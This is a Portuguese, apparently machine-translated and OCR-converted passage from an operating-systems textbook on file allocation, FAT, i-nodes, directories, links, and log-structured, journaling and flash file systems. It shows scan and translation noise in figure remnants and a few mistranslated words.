O segundo método para armazenar arquivos é manter cada um deles como uma lista encadeada 


de blocos de disco, conforme mostrado na Figura 4.13. A primeira parte de cada bloco é usada como 
ponteiro para o próximo. O resto do bloco é para dados. 


Arquivo A 


de arquivo de arquivo de arquivo de arquivo de arquivo 


0 1 2 3 4 


Bloco 
físico 


Arquivo B 


de arquivo de arquivo de arquivo de arquivo 


0 1 2 3 


Bloco 
físico 


Figura 4-13. Armazenar um arquivo como uma lista vinculada de blocos de disco. 


Ao contrário da alocação contígua, cada bloco de disco pode ser usado neste método. Nenhum 
espaço é perdido devido à fragmentação do disco (exceto pela fragmentação interna no último bloco). 
Além disso, é suficiente que a entrada do diretório armazene apenas o endereço de disco do primeiro 
bloco. O resto pode ser encontrado começando por aí. 

Por outro lado, embora a leitura sequencial de um arquivo seja simples, o acesso aleatório é 
extremamente lento. Para chegar ao bloco n, o sistema operacional deve começar do início e ler os n 
1 blocos anteriores, um de cada vez. Claramente, fazer tantas leituras será dolorosamente lento. 


Além disso, a quantidade de armazenamento de dados em um bloco não é mais uma potência 
de dois porque o ponteiro ocupa alguns bytes. Embora não seja fatal, ter um tamanho peculiar é 
menos eficiente porque muitos programas lêem e escrevem em blocos cujo tamanho é uma potência 
de dois. Com os primeiros bytes de cada bloco ocupados por um ponteiro para o próximo bloco, as 
leituras do tamanho total do bloco exigem a aquisição e concatenação de informações de dois blocos 
de disco, o que gera sobrecarga extra devido à cópia. 
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Alocação de lista vinculada usando uma tabela na memória 


Ambas as desvantagens da alocação de lista vinculada podem ser eliminadas pegando a palavra ponteiro de 
cada bloco do disco e colocando-a em uma tabela na memória. A Figura 4-14 mostra a aparência da tabela no 
exemplo da Figura 4-13. Em ambas as figuras, temos dois arquivos. O arquivo A usa os blocos de disco 4, 7,2, 10 e 
12, nessa ordem, e o arquivo B usa os blocos de disco 6, 3, 11 e 14, nessa ordem. Usando a tabela da Figura 4-14, 
podemos começar com o bloco 4 e seguir a cadeia até o fim. O mesmo pode ser feito começando com o bloco 6. 
Ambas as cadeias terminam com um marcador especial (por exemplo, 1) que não é um número de bloco válido. Essa 


tabela na memória principal é chamada de FAT 


(Tabela de Alocação de Arquivos). 


Bloco 
físico 
0 
1 
2 
3 
4 —«—— O arquivo A começa aqui 
5 
6 —«—— O arquivo B começa aqui 
7 
8 
9 
10 


Figura 4-14. Alocação de lista vinculada usando uma tabela de alocação de arquivos na memória principal. 


Usando esta organização, todo o bloco fica disponível para dados. Além disso, o acesso aleatório é muito mais 
fácil. Embora a cadeia ainda deva ser seguida para encontrar um determinado deslocamento dentro do arquivo, a 
cadeia está inteiramente na memória, portanto pode ser seguida sem fazer nenhuma referência ao disco. Como no 
método anterior, é suficiente que a entrada do diretório mantenha um único número inteiro (o número inicial do bloco) 


e ainda seja capaz de localizar todos os blocos, não importa o tamanho do arquivo. 


A principal desvantagem desse método é que a tabela inteira deve estar na memória o tempo todo para 
funcionar. Com um disco de 1 TB e tamanho de bloco de 1 KB, a tabela precisa de 1 bilhão de entradas, uma para 
cada um dos 1 bilhão de blocos de disco. Cada entrada deve ter no mínimo 3 bytes. Para velocidade na pesquisa, 
eles devem ter 4 bytes. Por isso 
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a mesa ocupará 3 GB ou 2,4 GB de memória principal o tempo todo, dependendo se o sistema 
está otimizado para espaço ou tempo. Não é muito prático. É evidente que a ideia do FAT não 
se adapta bem a discos grandes. No entanto, era o sistema de arquivos MS DOS original e 
ainda é totalmente suportado por todas as versões do Windows (e UEFI). Versões do sistema 
de arquivos FAT ainda são comumente usadas em cartões SD usados em câmeras digitais, 
porta-retratos eletrônicos, tocadores de música e outros dispositivos eletrônicos portáteis, bem 
como em outros aplicativos incorporados. 


Nós I 


Nosso último método para rastrear quais blocos pertencem a qual arquivo é associar a 
cada arquivo uma estrutura de dados chamada i-node (nó de índice), que lista os atributos e 
endereços de disco dos blocos do arquivo. Um exemplo simples é mostrado na Figura 4.15. 
Dado o i-node, é então possível encontrar todos os blocos do arquivo. 

A grande vantagem deste esquema em relação aos arquivos vinculados usando uma tabela na 
memória é que o i-node precisa estar na memória apenas quando o arquivo correspondente estiver 
aberto. Se cada i-node ocupar n bytes e um máximo de k arquivos puderem ser abertos de uma vez, 
a memória total ocupada pela matriz que contém os i-nodes para os arquivos abertos será de apenas 
kn bytes. Somente esse espaço precisa ser reservado com antecedência. 


Atributos de arquivo 


Bloco de disco 


contendo 
endereços de 


disco adicionais 


Figura 4-15. Um exemplo de nó i. 


Esse array geralmente é bem menor que o espaço ocupado pela tabela de arquivos 
descrita na seção anterior. A razão é simples. A mesa para segurar o 
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lista vinculada de todos os blocos de disco é proporcional em tamanho ao próprio disco. Se o disco tiver 
n blocos, a tabela precisa de n entradas. À medida que os discos crescem, esta tabela cresce linearmente 
com eles. Em contraste, o esquema i-node requer um array na memória cujo tamanho 
é proporcional ao número máximo de arquivos que podem ser abertos ao mesmo tempo. Isso acontece 
não importa se o disco tem 500 GB, 500 TB ou 500 PB. 
Um problema com i-nodes é que se cada um tiver espaço para um número fixo de 
endereços de disco, o que acontece quando um arquivo ultrapassa esse limite? Uma solução é 
reservar o último endereço do disco não para um bloco de dados, mas sim para o endereço de um 
bloco contendo mais endereços de bloco de disco, conforme mostrado na Figura 4-15. Ainda mais 
avançado seriam dois ou mais desses blocos contendo endereços de disco ou mesmo 
blocos apontando para outros blocos de disco cheios de endereços. Voltaremos aos nós i quando estudarmos 
UNIX no Cap. 10. Da mesma forma, o sistema de arquivos NTFS do Windows usa uma ideia semelhante, apenas 


com i-nodes maiores que também podem conter arquivos pequenos. 


4.3.3 Implementando Diretórios 


Antes que um arquivo possa ser lido, ele deve ser aberto. Quando um arquivo é aberto, o sistema 
operacional usa o nome do caminho fornecido pelo usuário para localizar a entrada do diretório. 
O disco. A entrada do diretório fornece as informações necessárias para encontrar o disco 
blocos. Dependendo do sistema, esta informação pode ser o endereço do disco do 
arquivo inteiro (com alocação contígua), o número do primeiro bloco (ambos os esquemas de lista ed de link) ou 
o número do i-node. Em todos os casos, a principal função do 
sistema de diretório é mapear o nome ASCII do arquivo para as informações necessárias 
para localizar os dados. 
Uma questão intimamente relacionada é onde os atributos devem ser armazenados. Cada sistema de 
arquivos mantém vários atributos de arquivo, como o proprietário de cada arquivo e a hora de criação, 
e eles devem ser armazenados em algum lugar. Uma possibilidade óbvia é armazená-los 
diretamente na entrada do diretório. Alguns sistemas fazem exatamente isso. Esta opção é 
mostrado na Figura 4.16(a). Neste design simples, um diretório consiste em uma lista de entradas de tamanho 
fixo, uma por arquivo, contendo um nome de arquivo (comprimento fixo), uma estrutura do 
atributos de arquivo e um ou mais endereços de disco (até um máximo) informando 
onde estão os blocos do disco. 
Para sistemas que utilizam i-nodes, outra possibilidade de armazenamento dos atributos está em 
nos i-nodes, em vez de nas entradas do diretório. Nesse caso, a entrada do diretório pode 
seja mais curto: apenas um nome de arquivo e um número de i-node. Esta abordagem é ilustrada em 
Figura 4.16(b). Como veremos mais adiante, este método tem algumas vantagens sobre colocar 
-los na entrada do diretório. 
Até agora, fizemos a suposição implícita de que os arquivos têm comprimentos curtos e fixos. 
nomes. No MS-DOS, os arquivos têm um nome base de 1 a 8 caracteres e uma extensão opcional 
de 1-3 caracteres. No UNIX versão 7, os nomes dos arquivos tinham de 1 a 14 caracteres, incluindo 
quaisquer extensões. Entretanto, quase todos os sistemas operacionais modernos suportam nomes de arquivos 
mais longos e de comprimento variável. Como isso pode ser implementado”? 
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Figura 4-16. (a) Um diretório simples contendo entradas de tamanho fixo com os endereços de 


disco e atributos na entrada do diretório. (b) Um diretório no qual cada entrada se refere 
apenas a um i-node. 


A abordagem mais simples é definir um limite para o comprimento do nome do arquivo, normalmente 
255 caracteres, e então usar um dos designs da Figura 4.16 com 255 caracteres reservados para cada 
nome de arquivo. Essa abordagem é simples, mas desperdiça muito espaço de diretório, já que poucos 
arquivos possuem nomes tão longos. Por razões de eficiência, é desejável uma estrutura diferente. 


Uma alternativa é abandonar a ideia de que todas as entradas do diretório têm o mesmo tamanho. 
Com esse método, cada entrada de diretório contém uma parte fixa, normalmente começando com o 
comprimento da entrada e seguida por dados com um formato fixo, geralmente incluindo o proprietário, 
horário de criação, informações de proteção e outros atributos. 
Esse cabeçalho de comprimento fixo é seguido pelo nome real do arquivo, por mais longo que seja, como 
mostrado na Figura 4.17 (a) no formato big-endian (como usado por algumas CPUs). Neste exemplo temos 
três arquivos, orçamento do projeto, pessoal e foo. Cada nome de arquivo termina com um caractere 
especial (geralmente 0), que é representado na figura por uma caixa com uma cruz. Para permitir que cada 
entrada de diretório comece em um limite de palavra, cada nome de arquivo é preenchido com um número 
inteiro de palavras, mostrado por caixas sombreadas na figura. 


Uma desvantagem deste método é que quando um arquivo é removido, um espaço de tamanho 
variável é introduzido no diretório no qual o próximo arquivo a ser inserido pode não caber. Este problema é 
essencialmente o mesmo que vimos com arquivos de disco contíguos, só que agora compactar o diretório 
é viável porque ele está inteiramente na memória. 

Outro problema é que uma única entrada de diretório pode abranger várias páginas, portanto, pode ocorrer 
uma falha de página durante a leitura de um nome de arquivo. 

Outra maneira de lidar com nomes de comprimento variável é fazer com que as próprias entradas do 
diretório tenham comprimento fixo e manter os nomes dos arquivos juntos em uma pilha no final do diretório, 
como mostrado na Figura 4.17(b). Este método tem a vantagem de que quando uma entrada é removida, o 
próximo arquivo inserido sempre caberá ali. Obviamente, o heap deve ser gerenciado e ainda podem 
ocorrer falhas de página durante o processamento de nomes de arquivos. Uma pequena vantagem aqui é 
que não há mais nenhuma necessidade real de nomes de arquivos para começar 
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Figura 4-17. Duas maneiras de lidar com nomes longos de arquivos em um diretório. (a) Em linha. 
(b) Em uma pilha. 


nos limites das palavras, portanto, nenhum caractere de preenchimento é necessário após os nomes dos 
arquivos na Figura 4.17(b), como na Figura 4.17(a). 

Em todos os projetos até agora, os diretórios são pesquisados linearmente do início ao fim quando um 
nome de arquivo precisa ser pesquisado. Para diretórios extremamente longos, a pesquisa linear pode ser 
lenta. Uma maneira de acelerar a pesquisa é usar uma tabela hash em cada diretório. Chame o tamanho da 
tabela n. Para inserir um nome de arquivo, o nome é hash em um valor entre 0 e n 1, por exemplo, dividindo- 
o por n e pegando o restante. Alternativamente, as palavras que compõem o nome do arquivo podem ser 
somadas e esta quantidade dividida por n, ou algo semelhante. 


De qualquer forma, a entrada da tabela correspondente ao código hash é inspecionada. Se não for 
utilizado, um ponteiro será colocado lá para a entrada do arquivo. As entradas do arquivo seguem a tabela hash. 
Se esse slot já estiver em uso, uma lista encadeada é construída, encabeçada na entrada da tabela e 
passando por todas as entradas com o mesmo valor de hash. 

Procurar um arquivo segue o mesmo procedimento. O nome do arquivo é criptografado para selecionar 
uma entrada da tabela hash. Todas as entradas na cadeia direcionadas a esse slot são verificadas para ver 
se o nome do arquivo está presente. Se o nome não estiver na cadeia, o arquivo não está presente no 
diretório. 

Usar uma tabela hash tem a vantagem de uma pesquisa muito mais rápida, mas a desvantagem de 
uma administração muito mais complexa. É apenas um candidato realmente sério 
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em sistemas onde se espera que os diretórios contenham rotineiramente centenas ou 
milhares de arquivos. 

Uma maneira diferente de acelerar a pesquisa em diretórios grandes é armazenar os resultados em cache 
de pesquisas. Antes de iniciar uma pesquisa, primeiro é feita uma verificação para ver se o nome do arquivo é 
no cache. Nesse caso, ele pode ser localizado imediatamente. Claro, o cache só funciona 


se um número relativamente pequeno de arquivos abranger a maioria das pesquisas. 


4.3.4 Arquivos Compartilhados 


Quando vários usuários estão trabalhando juntos em um projeto, muitas vezes eles precisam compartilhar 
arquivos. Como resultado, muitas vezes é conveniente que um arquivo compartilhado apareça simultaneamente 
em diretórios diferentes pertencentes a usuários diferentes. A Figura 4-18 mostra novamente o sistema de 
arquivos da Figura 4-8, apenas com um dos arquivos de C agora também presente em um dos diretórios de B. 
A conexão entre o diretório de B e o arquivo compartilhado é chamada de 
link. O próprio sistema de arquivos agora é um DAG (Directed Acíclico Graph), em vez de um 


árvore. Ter o sistema de arquivos como um DAG complica a manutenção, mas a vida é assim. 


Arquivo compartilhado 


Figura 4-18. Sistema de arquivos que contém um arquivo compartilhado. 


Compartilhar arquivos é conveniente, mas também apresenta alguns problemas. Para iniciar 
com isso, se os diretórios realmente contiverem endereços de disco, então uma cópia dos endereços de disco 
terá que ser feita no diretório de B quando o arquivo for vinculado. Se B ou C 
posteriormente anexado ao arquivo, os novos blocos serão listados apenas no diretório 
do usuário fazendo o acréscimo. As alterações não serão visíveis para o outro usuário, portanto 
derrotando o propósito de compartilhar. 
Este problema pode ser resolvido de duas maneiras. Na primeira solução, os blocos de disco são 
não listado em diretórios, mas em uma pequena estrutura de dados associada ao próprio arquivo. 
Os diretórios teriam apenas ponteiros para a pequena estrutura de dados. Isto é o 
abordagem usada no UNIX (onde a pequena estrutura de dados é o i-node). 
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Na segunda solução, B vincula-se a um dos arquivos de C fazendo com que o sistema crie um 
novo arquivo, do tipo LINK, e insira esse arquivo no diretório de B. O novo arquivo contém apenas o 
nome do caminho do arquivo ao qual está vinculado. Quando B lê o arquivo vinculado, o sistema 
operacional vê que o arquivo que está sendo lido é do tipo LINK, procura o nome do arquivo e lê esse 
arquivo. Esta abordagem é chamada de ligação simbólica, para contrastá-la com a ligação tradicional 
(hard), conforme discutido anteriormente. 

Cada um desses métodos tem suas desvantagens. No primeiro método, no momento em que B 
se vincula ao arquivo compartilhado, o i-node registra o proprietário do arquivo como C. Criar um link 
não altera a propriedade (veja a Fig. 4-19), mas aumenta o link contagem no i-node, para que o 
sistema saiba quantas entradas de diretório apontam atualmente para o arquivo. 


Diretório de C Diretório de B Diretório de C Diretório de B 


E 


Proprietário = C 
Contagem = 1 


(c) 


(a) (b) 


Figura 4-19. (a) Situação anterior à vinculação. (b) Depois que o link for criado. (c) Após 
o proprietário original remover o arquivo. 


Se C posteriormente tentar remover o arquivo, o sistema enfrentará um problema. 

Se remover o arquivo e limpar o i-node, B terá uma entrada de diretório apontando para um i-node 
inválido. Se o i-node for posteriormente reatribuído a outro arquivo, o link de B apontará para o 
arquivo errado. O sistema pode ver pela contagem no i-node que o arquivo ainda está em uso, mas 
não há uma maneira fácil de encontrar todas as entradas de diretório do arquivo para apagá-las. 
Ponteiros para os diretórios não podem ser armazenados no nó i porque pode haver um número 
ilimitado de diretórios. 

A única coisa a fazer é remover a entrada do diretório C, mas deixar o i-node intacto, com a 
contagem definida como 1, como mostrado na Figura 4.19(c). Agora temos uma situação em que B é 
o único usuário que possui uma entrada de diretório para um arquivo de propriedade de C. Se o 
sistema fizer contabilidade ou tiver cotas, C continuará a ser cobrado pelo arquivo até que B decida 
removê-lo, se isso acontecer. , momento em que a contagem vai para 0 e o arquivo é excluído. 

Com links simbólicos esse problema não surge porque apenas o verdadeiro proprietário possui 
um ponteiro para o i-node. Os usuários vinculados ao arquivo possuem apenas nomes de caminhos, 
não ponteiros de i-node. Quando o proprietário remove o arquivo, ele é destruído. As tentativas 
subsequentes de usar o arquivo por meio de um link simbólico falharão quando o sistema não 
conseguir localizar o arquivo. A remoção de um link simbólico não afeta o arquivo de forma alguma. 
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O problema com links simbólicos é a sobrecarga extra necessária. O arquivo que contém o caminho deve 
ser lido, então o caminho deve ser analisado e seguido, componente por componente, até que o i-node seja 
alcançado. Toda esta atividade pode exigir um 
número considerável de acessos extras ao disco. Além disso, é necessário um i-node extra 
para cada link simbólico, assim como um bloco de disco extra para armazenar o caminho, embora se o 
Se o nome do caminho for curto, o sistema poderá armazená-lo no próprio i-node, como uma espécie de 
otimização. Links simbólicos têm a vantagem de poderem ser usados para vincular arquivos 
em máquinas em qualquer lugar do mundo, simplesmente fornecendo o endereço de rede do 
a máquina onde o arquivo reside, além de seu caminho nessa máquina. 

Há também outro problema introduzido por links, simbólicos ou não. 

Quando os links são permitidos, os arquivos podem ter dois ou mais caminhos. Programas que começam em um 
determinado diretório e encontre todos os arquivos nesse diretório e seus subdiretórios serão 

localize um arquivo vinculado várias vezes. Por exemplo, um programa que despeja todos os arquivos 

em um diretório e seus subdiretórios em uma unidade de backup podem fazer múltiplas cópias 

de um arquivo vinculado. Além disso, se a unidade de backup for lida em outra máquina, 

a menos que o programa de despejo seja inteligente, o arquivo vinculado pode ser copiado duas vezes no 

disco, em vez de estar vinculado. 


4.3.5 Sistemas de arquivos estruturados em log 


As mudanças na tecnologia estão pressionando os sistemas de arquivos atuais. Consideremos 
computadores com discos rígidos (magnéticos). Na próxima seção, veremos 
SSDs. Em sistemas com discos rígidos, as CPUs ficam cada vez mais rápidas, os discos são 
tornando-se muito maiores e mais baratas (mas não muito mais rápidas), e as memórias estão crescendo 
exponencialmente em tamanho. O único parâmetro que não está melhorando aos trancos e barrancos 
limites é o tempo de busca do disco. 

A combinação desses fatores levou a um gargalo de desempenho nos sistemas de arquivos. Uma 
pesquisa feita em Berkeley tentou aliviar esse problema projetando um 
um tipo completamente novo de sistema de arquivos, LFS ( Sistema de Arquivos Estruturado em Log). Nisso 
seção, descreveremos brevemente como o LFS funciona. Para um tratamento mais completo, 
veja o artigo original sobre LFS (Rosenblum e Ousterhout, 1991). 

A ideia que motivou o projeto do LFS é que, à medida que as CPUs ficam mais rápidas e as memórias 
RAM ficam maiores, os caches de disco também aumentam rapidamente. Consequentemente, agora é possível 
satisfazer uma fração muito substancial de todas as solicitações de leitura diretamente do 
cache do sistema de arquivos, sem necessidade de acesso ao disco. Resulta desta observação 
que no futuro, a maioria dos acessos ao disco serão gravações, então o mecanismo de leitura antecipada 
usado em alguns sistemas de arquivos para buscar blocos antes que eles sejam necessários não ganha mais 
muito desempenho. 

Para piorar a situação, na maioria dos sistemas de arquivos, as gravações são feitas em espaços muito pequenos. 
pedaços. Gravações pequenas são altamente ineficientes, já que uma gravação em disco de 50 segundos 
geralmente é precedida por uma busca de 10 ms e um atraso rotacional de 4 ms. Com esses parâmetros, 

a eficiência do disco cai para uma fração de 1%. 
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Para ver de onde vêm todas as pequenas gravações, considere criar um novo arquivo em 
um sistema UNIX. Para gravar este arquivo, o i-node do diretório, o bloco do diretório, o i-node 
do arquivo e o próprio arquivo devem ser gravados. Embora essas gravações possam ser 
atrasadas, isso expõe o sistema de arquivos a sérios problemas de consistência se ocorrer uma 
falha antes que as gravações sejam concluídas. Por esta razão, as escritas no i-node são 
geralmente feitas imediatamente. 

A partir deste raciocínio, os projetistas do LFS decidiram reimplementar o sistema de 
arquivos UNIX de forma a atingir a largura de banda total do disco, mesmo diante de uma carga 
de trabalho composta em grande parte por pequenas escritas aleatórias. A idéia básica é 
estruturar todo o disco como um grande log. 

Periodicamente, e quando há uma necessidade especial, todas as gravações pendentes 
armazenadas em buffer na memória são coletadas em um único segmento e gravadas no disco 
como um único segmento contíguo no final do log. Um único segmento pode, portanto, conter i- 
nodes, blocos de diretório e blocos de dados, todos misturados. No início de cada segmento há 
um resumo do segmento, informando o que pode ser encontrado no segmento. Se o segmento 
médio puder ser de cerca de 1 MB, quase toda a largura de banda do disco poderá ser utilizada. 


Neste design, os i-nodes ainda existem e até têm a mesma estrutura do UNIX, mas agora 
estão espalhados por todo o log, em vez de ficarem em uma posição fixa no disco. Porém, 
quando um i-node é localizado, a localização dos blocos é feita da maneira usual. É claro que 
encontrar um i-node é agora muito mais difícil, uma vez que o seu endereço não pode ser 
simplesmente calculado a partir do seu i-number, como no UNIX. Para tornar possível encontrar 
inodes, é mantido um mapa de i-nodes, indexado por i-number. A entrada i neste mapa aponta 
para o nó i no disco. O mapa é mantido em disco, mas também é armazenado em cache, de 
modo que as partes mais utilizadas ficarão na memória a maior parte do tempo. 

Para resumir o que dissemos até agora, todas as gravações são inicialmente armazenadas 
em buffer na memória e, periodicamente, todas as gravações em buffer são gravadas no disco 
em um único segmento, no final do log. Abrir um arquivo agora consiste em usar o mapa para 
localizar o i-node do arquivo. Uma vez localizado o i-node, os endereços dos blocos podem ser 
encontrados nele. Todos os blocos estarão em segmentos, em algum lugar do log. 


Se os discos fossem infinitamente grandes, a descrição acima seria toda a história. 

No entanto, os discos reais são finitos, portanto, eventualmente, o log ocupará todo o disco, 
momento em que nenhum novo segmento poderá ser gravado no log. Felizmente, muitos 
segmentos existentes podem ter blocos que não são mais necessários. Por exemplo, se um 
arquivo for sobrescrito, seu i-node apontará agora para os novos blocos, mas os antigos ainda 
ocuparão espaço nos segmentos gravados anteriormente. 

Para lidar com esse problema, o LFS possui uma thread mais limpa que gasta seu tempo 
varrendo o log circularmente para compactá-lo. Comece lendo o resumo do primeiro segmento 
no log para ver quais i-nodes e arquivos estão lá. Em seguida, ele verifica o mapa de i-nodes 
atual para ver se os i-nodes ainda estão atuais e se os blocos de arquivos ainda estão em uso. 
Caso contrário, essa informação é descartada. Os i-nodes e blocos que ainda estão em uso 
vão para a memória para serem gravados no próximo segmento. O segmento original é 
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em seguida, marcado como gratuito, para que o log possa usá-lo para novos dados. Dessa forma, o 
limpador se move ao longo do registro, removendo segmentos antigos da parte traseira e colocando 
quaisquer dados ativos na memória para serem reescritos no próximo segmento. Conseguentemente, o 
disco é um grande buffer circular, com o thread do gravador adicionando novos segmentos na frente e o 
thread do limpador removendo os antigos na parte de trás. 

A contabilidade aqui não é trivial, pois quando um bloco de arquivo é gravado em um novo segmento, 
o nó i do arquivo (em algum lugar no log) deve ser localizado, atualizado e colocado na memória para ser 
gravado no próximo segmento. . O mapa do i-node deve então ser atualizado para apontar para a nova 
cópia. Mesmo assim é possível fazer a administração, e os resultados de desempenho mostram que toda 
essa complexidade vale a pena. As medições fornecidas nos artigos citados acima mostram que o LFS 
supera o UNIX em uma ordem de grandeza em pequenas gravações, embora tenha um desempenho que 
é tão bom ou melhor que o UNIX para leituras e grandes gravações. 


4.3.6 Registro em diário de sistemas de arquivos 


Os sistemas de arquivos estruturados em log são uma ideia interessante em geral e uma das ideias 
inerentes a eles, robustez diante de falhas, também pode ser aplicada a sistemas de arquivos mais 
convencionais. A ideia básica aqui é manter um registro do que o sistema de arquivos irá fazer antes de 
fazê-lo, de modo que se o sistema travar antes de poder realizar o trabalho planejado, ao reiniciar o sistema 
possa olhar no log para ver o que está acontecendo. estava acontecendo no momento do acidente e 
terminar o trabalho. Esses sistemas de arquivos, chamados de sistemas de arquivos com registro em 
diário, são muito populares. O sistema de arquivos NTFS da Microsoft e os sistemas de arquivos ext4 e 
ReiserFS do Linux usam registro em diário. O MacOS oferece sistemas de arquivos com registro em diário 
como opção. O registro no diário é o padrão e é amplamente utilizado. A seguir daremos uma breve 
introdução a este tema. 

Para ver a natureza do problema, considere uma operação simples e comum que acontece o tempo 
todo: remover um arquivo. Esta operação (no UNIX) requer três etapas: 


1. Remova o arquivo de seu diretório. 
2. Libere o i-node para o conjunto de i-nodes livres. 


3. Retorne todos os blocos de disco para o conjunto de blocos de disco livres. 


No Windows, são necessárias etapas análogas. Na ausência de falhas no sistema, a ordem em que essas 
etapas são executadas não importa; na presença de falhas, isso acontece. Suponha que a primeira etapa 
seja concluída e o sistema trave. O nó i e os blocos de arquivo não estarão acessíveis a partir de nenhum 
arquivo, mas também não estarão disponíveis para reatribuição; eles estão no limbo em algum lugar, 
diminuindo os recursos disponíveis. Se a falha ocorrer após a segunda etapa, apenas os blocos serão 
perdidos. 

Se a ordem das operações for alterada e o i-node for liberado primeiro, depois da reinicialização, o i- 
node poderá ser reatribuído, mas a entrada antiga do diretório continuará 
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para apontar para ele e, portanto, para o arquivo errado. Se os blocos forem liberados primeiro, ocorrerá um travamento 
antes que o nó i seja limpo significará que uma entrada de diretório válida aponta para um nó i listando blocos agora 

no conjunto de armazenamento livre e que provavelmente serão reutilizados 

em breve, fazendo com que dois ou mais arquivos compartilhem aleatoriamente os mesmos blocos. Nenhum 

esses resultados são bons. 

O que o sistema de arquivos com registro em diário faz é primeiro escrever uma entrada de log listando os três 
ações a serem concluídas. A entrada de log é então gravada no disco (e, para garantir, possivelmente lida novamente 
no disco para verificar se foi, de fato, escrita corretamente). Somente após a gravação da entrada de log é que as 
diversas operações começam. 

Depois que as operações forem concluídas com êxito, a entrada do log será apagada. Se o sistema 

agora trava, após a recuperação o sistema de arquivos pode verificar o log para ver se alguma operação estava 
pendente. Se assim for, todos eles podem ser executados novamente (várias vezes no caso de 

falhas repetidas) até que o arquivo seja removido corretamente. 

Para que o registro no diário funcione, as operações registradas devem ser idempotentes, o que 
significa que eles podem ser repetidos quantas vezes forem necessárias sem causar danos. Operações como 
"Atualizar o bitmap para marcar o nó i k ou bloco n como livre" pode ser repetido até que o 
as vacas voltam para casa sem perigo. Da mesma forma, pesquisar um diretório e remover 
qualquer entrada chamada foobar também é idempotente. Por outro lado, adicionando o novo 
blocos liberados do i-node K até o final da lista livre não são idempotentes, pois eles 
já pode estar lá. A operação mais cara "Pesquisar a lista de blocos livres 
e adicione o bloco n a ele se ainda não estiver presente" é idempotente. Os sistemas de arquivos com registro em 
diário precisam organizar suas estruturas de dados e operações logáveis para que todas sejam 
idempotente. Nessas condições, a recuperação de falhas pode ser rápida e segura. 

Para maior confiabilidade, um sistema de arquivos pode introduzir o conceito de banco de dados de um 
transação atômica. Quando esse conceito é usado, um grupo de ações pode ser delimitado pelas operações de início 
e término da transação . O sistema de arquivos então 
sabe que deve concluir todas as operações entre colchetes ou nenhuma delas, mas não 
quaisquer outras combinações. 

O NTFS possui um extenso sistema de registro em diário e sua estrutura raramente é corrompida 
por falhas no sistema. Está em desenvolvimento desde seu primeiro lançamento com Windows 
NT em 1993. O primeiro sistema de arquivos Linux a fazer registro no diário foi o ReiserFS, mas sua popularidade foi 
prejudicada pelo fato de ser incompatível com o sistema padrão da época. 
sistema de arquivos ext2. Em contraste, o ext3, que era um projeto menos ambicioso que o Reis erFS, também faz 
registro no diário, mantendo a compatibilidade com o ext2 anterior. 
sistema. Seu sucessor, ext4, foi desenvolvido inicialmente de forma semelhante como uma série de extensões 


compatíveis com versões anteriores para ext3. 


4.3.7 Sistemas de arquivos baseados em Flash 


Os SSDs usam memória flash e funcionam de maneira bem diferente das unidades de disco rígido. 
Geralmente, o flash baseado em NAND é usado (em vez do flash baseado em NOR) em SSDs. 


Grande parte da diferença está relacionada à física que sustenta o armazenamento, que, 
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por mais fascinante que seja, está além do escopo deste capítulo. Independentemente da tecnologia 
flash, aqui estão diferenças importantes entre discos rígidos e armazenamento flash. 

Não há partes móveis no armazenamento flash e os problemas de tempos de busca e atrasos 
rotacionais que mencionamos na seção anterior não existem. Isso significa que o tempo de acesso 
(latência) é muito melhor — da ordem de várias dezenas de microssegundos em vez de milissegundos. 
Isso também significa que em SSDs não há muita diferença de desempenho entre leituras aleatórias 
e sequenciais. Como veremos, as gravações aleatórias ainda são um pouco mais caras — 
especialmente as pequenas. 

Na verdade, ao contrário dos discos magnéticos, a tecnologia flash tem desempenho assimétrico 
de leitura e gravação: as leituras são muito mais rápidas do que as gravações. Por exemplo, onde 
uma leitura leva algumas dezenas de microssegundos, uma gravação pode levar centenas. Primeiro, 
as gravações são lentas devido à forma como as células flash que implementam os bits são 
programadas — isso é física e não é algo que queremos abordar aqui. Uma segunda razão, e mais 
impactante, é que você só pode gravar uma unidade de dados depois de apagar uma área adequada 
do dispositivo. Na verdade, a memória flash distingue entre uma unidade de E/S (geralmente 4 KB) 
e uma unidade de apagamento (geralmente 64-256 unidades de E/S, ou seja, até vários MB). 
Infelizmente, a indústria tem grande prazer em confundir as pessoas e se refere à unidade de E/S 
como uma página e à unidade de apagamento como um bloco, exceto para aquelas publicações que 
se referem à unidade de E/S como um bloco ou mesmo um setor e a unidade de apagamento como 
um pedaço. É claro que o significado de uma página também é bastante diferente do significado de 
uma página de memória no capítulo anterior e o significado de um bloco também não corresponde ao de um bloco de disco. 
Para evitar confusão, usaremos os termos página flash e bloco flash para a unidade de E/S e a 
unidade de apagamento, respectivamente. 

Para gravar uma página flash, o SSD deve primeiro apagar um bloco flash — uma operação cara 
que leva centenas de microssegundos. Felizmente, depois de apagar o bloco, há muitas páginas 
flash livres nesse espaço e o SSD agora pode gravar as páginas flash no bloco flash em ordem. Em 
outras palavras, ele primeiro grava a página flash O no bloco, depois 1, depois 2, etc. Ele não pode 
gravar a página flash 0, seguida por 2 e depois 1. Além disso, o SSD não pode realmente substituir 
uma página flash que foi gravada mais cedo. Primeiro é necessário apagar todo o bloco flash 
novamente (não apenas a página). Na verdade, se você realmente quisesse sobrescrever alguns 
dados em um arquivo local, o SSD precisaria salvar as outras páginas flash do bloco em outro lugar, 
apagar o bloco por completo e então reescrever as páginas uma por uma. não é uma operação 
barata! Em vez disso, modificar dados em um SSD simplesmente invalida a página flash antiga e 
reescreve o novo conteúdo em outro bloco. Se não houver blocos com páginas gratuitas disponíveis, 
será necessário apagar primeiro um bloco. 


De qualquer forma, você não quer continuar escrevendo as mesmas páginas flash o tempo 
todo, pois a memória flash sofre desgaste. Escrever e apagar repetidamente tem seu preço e, em 
algum momento, as células flash que contêm os bits não podem mais ser usadas. Um ciclo programa/ 
apagar (P/E) consiste em apagar uma célula e escrever novo conteúdo nela. Células típicas de 
memória flash têm uma resistência máxima de alguns milhares a algumas centenas de milhares de 
ciclos P/E antes de morrerem. Em outras palavras, é importante distribuir o desgaste pelas células 
da memória flash tanto quanto possível. 
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O componente do dispositivo responsável por lidar com esse nivelamento de desgaste é 
conhecido como FTL (Flash Translation Layer). Ele também tem muitas outras responsabilidades 
e às vezes é chamado de molho secreto da unidade. O molho secreto normalmente funciona em 
um processador simples com acesso à memória rápida. É mostrado à esquerda na Fig. 4-20. Os 
dados são armazenados nos pacotes flash (FPs) à direita. Cada pacote flash consiste em 
múltiplas matrizes e cada matriz, por sua vez, contém vários chamados planos: coleções de 
blocos flash contendo páginas flash. 


morrer O 


Avião 1 Avião m 


"Molho secreto" 


Bloco O Bloco O Bloco O Bloco 0 


